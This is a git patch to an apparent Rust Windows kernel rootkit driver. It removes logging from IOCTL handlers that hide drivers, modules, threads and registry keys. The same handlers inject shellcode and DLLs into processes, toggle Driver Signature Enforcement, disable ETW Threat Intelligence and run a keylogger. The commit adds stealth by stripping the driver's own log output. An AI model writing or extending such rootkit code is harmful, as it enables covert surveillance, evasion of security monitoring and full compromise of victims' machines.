From e518a17482ce9b3bd286a32e9fa9556039412011 Mon Sep 17 00:00:00 2001 From: joaoviictorti Date: Thu, 26 Sep 2024 21:32:45 -0300 Subject: [PATCH] refactor(driver): removing log messages --- driver/src/driver/ioctls.rs | 4 ---- driver/src/injection/ioctls.rs | 9 --------- driver/src/misc/ioctls.rs | 3 --- driver/src/module/ioctls.rs | 4 ---- driver/src/registry/ioctls.rs | 8 ++------ driver/src/thread/ioctls.rs | 3 --- 6 files changed, 2 insertions(+), 29 deletions(-) diff --git a/driver/src/driver/ioctls.rs b/driver/src/driver/ioctls.rs index d0af7a4..1feed82 100644 --- a/driver/src/driver/ioctls.rs +++ b/driver/src/driver/ioctls.rs @@ -24,7 +24,6 @@ use { pub fn get_driver_ioctls(ioctls: &mut HashMap) { // Hiding / Unhiding a driver from loaded modules. ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER"); let status = unsafe { handle!(stack, Driver::driver_toggle, TargetDriver) }; unsafe { (*irp).IoStatus.Information = 0 }; status @@ -32,11 +31,8 @@ pub fn get_driver_ioctls(ioctls: &mut HashMap) { // Enumerate active drivers on the system. ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATE_DRIVER"); - let mut information = 0; let status = unsafe { handle!(irp, Driver::enumerate_driver, DriverInfo, &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; match status { diff --git a/driver/src/injection/ioctls.rs b/driver/src/injection/ioctls.rs index b849b9f..d28fb37 100644 --- a/driver/src/injection/ioctls.rs +++ b/driver/src/injection/ioctls.rs @@ -29,10 +29,7 @@ use { pub fn get_injection_ioctls(ioctls: &mut HashMap) { // Process injection using ZwCreateThreadEx. ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD"); - let status = unsafe { handle!(stack, InjectionShellcode::injection_thread, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; match status { @@ -43,10 +40,7 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap) { // APC Injection. ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_INJECTION_SHELLCODE_APC"); - let status = unsafe { handle!(stack, InjectionShellcode::injection_apc, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; match status { @@ -57,10 +51,7 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap) { // DLL injection using ZwCreateThreadEx. ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_INJECTION_DLL_THREAD"); - let status = unsafe { handle!(stack, InjectionDLL::injection_dll_thread, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; match status { diff --git a/driver/src/misc/ioctls.rs b/driver/src/misc/ioctls.rs index cd942bb..dccdc5a 100644 --- a/driver/src/misc/ioctls.rs +++ b/driver/src/misc/ioctls.rs @@ -21,7 +21,6 @@ use { pub fn get_misc_ioctls(ioctls: &mut HashMap) { // Responsible for enabling/disabling DSE. ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENABLE_DSE"); let status = unsafe { handle!(stack, Dse::set_dse_state, DSE) }; unsafe { (*irp).IoStatus.Information = 0 }; @@ -33,7 +32,6 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap) { // Start / Stop Keylogger ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_KEYLOGGER"); let status = unsafe { handle!(stack, set_keylogger_state, Keylogger) }; unsafe { (*irp).IoStatus.Information = 0 }; @@ -42,7 +40,6 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap) { // Responsible for enabling/disabling ETWTI. ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ETWTI"); let status = unsafe { handle!(stack, Etw::etwti_enable_disable, ETWTI) }; unsafe { (*irp).IoStatus.Information = 0 }; diff --git a/driver/src/module/ioctls.rs b/driver/src/module/ioctls.rs index 93d3e17..8541d2d 100644 --- a/driver/src/module/ioctls.rs +++ b/driver/src/module/ioctls.rs @@ -19,8 +19,6 @@ use { pub fn get_module_ioctls(ioctls: &mut HashMap) { // Enumerate Modules ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATE_MODULE"); - let mut information = 0; let status = unsafe { handle!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) }; unsafe { (*irp).IoStatus.Information = information as u64 }; @@ -33,8 +31,6 @@ pub fn get_module_ioctls(ioctls: &mut HashMap) { // Hide Modules ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_MODULE"); - let status = unsafe { handle!(stack, Module::hide_module, TargetModule) }; unsafe { (*irp).IoStatus.Information = 0}; diff --git a/driver/src/registry/ioctls.rs b/driver/src/registry/ioctls.rs index 88ae09a..2adea4a 100644 --- a/driver/src/registry/ioctls.rs +++ b/driver/src/registry/ioctls.rs @@ -26,7 +26,6 @@ use { pub fn get_registry_ioctls(ioctls: &mut HashMap) { // Adding protection for registry key values. ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE"); let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) }; unsafe { (*irp).IoStatus.Information = 0 }; status @@ -34,23 +33,20 @@ pub fn get_registry_ioctls(ioctls: &mut HashMap) { // Added protection for registry keys. ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY"); let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) }; unsafe { (*irp).IoStatus.Information = 0 }; status }) as IoctlHandler); - // ? + // Handles IOCTL to hide or unhide a registry key ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_KEY"); let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) }; unsafe { (*irp).IoStatus.Information = 0 }; status }) as IoctlHandler); - // ? + // Handles IOCTL to hide or unhide a registry value ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_VALUE"); let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) }; unsafe { (*irp).IoStatus.Information = 0 }; status diff --git a/driver/src/thread/ioctls.rs b/driver/src/thread/ioctls.rs index c5c2238..0fb3936 100644 --- a/driver/src/thread/ioctls.rs +++ b/driver/src/thread/ioctls.rs @@ -32,7 +32,6 @@ use { pub fn get_thread_ioctls(ioctls: &mut HashMap) { // Hide the specified Thread by removing it from the list of active threads. ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_THREAD"); let status = unsafe { handle!(stack, Thread::thread_toggle, TargetThread) }; unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; status @@ -40,7 +39,6 @@ pub fn get_thread_ioctls(ioctls: &mut HashMap) { // List hidden or protected threads. ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATION_THREAD"); let mut information = 0; let status = unsafe { handle!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) }; unsafe { (*irp).IoStatus.Information = information as u64 }; @@ -49,7 +47,6 @@ pub fn get_thread_ioctls(ioctls: &mut HashMap) { // Responsible for adding thread termination protection. ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_PROTECTION_THREAD"); let status = unsafe { handle!(stack, add_remove_thread_toggle, ThreadProtection) }; unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; status